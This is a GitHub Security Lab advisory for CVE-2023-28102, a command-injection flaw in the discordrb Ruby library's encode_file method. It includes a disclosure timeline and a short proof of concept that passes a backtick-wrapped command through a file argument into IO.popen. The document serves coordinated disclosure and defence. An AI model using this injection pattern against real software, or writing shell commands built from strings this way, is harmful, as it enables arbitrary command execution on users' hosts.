Coordinated Disclosure Timeline
- 2022-12-27: Contacted maintainer over Discord about vulnerability, maintainer says will fix.
- 2023-03-09: Vulnerability fixed and Code Scanning Added to Repo
- 2023-03-15: Vulnerability assigned CVE-2023-28102
Summary
The encode_file method may lead to remote code execution if invoked with untrusted user-controlled data.
Product
discordrb
Tested Version
3.4.1 (latest)
Details
Issue: Unsafe construction of shell command in encode_file (GHSL-2022-094)
The encoder.rb file unsafely constructs a shell string using the file parameter, which can potentially leave clients of discordrb vulnerable to command injection.
The library is not directly exploitable: the exploit requires that some client of the library calls the vulnerable method with user input. However, if unsafe input reaches the library method, then an attacker can execute arbitrary shell commands on the host machine. Here is the CodeQL result.
Proof of Concept
Here is a PoC (relevant code copy-pasted into the PoC for ease of setup).
The observed effect should be that a new file pwned is created in the current working directory.
## This is how the PoC would be if you setup discordrb.
# require 'discordrb'
# bot = Discordrb::Voice::Encoder.new
# bot.encode_file(`touch pwned`)
ffmpeg_command = "foo" # unrelated
options = "" # unrelated
filter_volume_argument = "bar" # unrelated
# Command that will be executed
file = "`touch pwned`"
# This command should be build as an array instead of a string, that way injection would be impossible!
command = "#{ffmpeg_command} -loglevel 0 -i \"#{file}\" #{options} -f s16le -ar 48000 -ac 2 #{filter_volume_argument} pipe:1"
IO.popen(command)
Impact
This issue may lead to Remote Command Execution (RCE).
Resources
CodeQL for Ruby - Unsafe shell command constructed from library input.
CVE
- CVE-2023-28102
Credit
This issue was discovered and reported by GHSL team member @erik-krogh (Erik Krogh Kristensen).
Contact
You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2022-094 in any communication regarding this issue.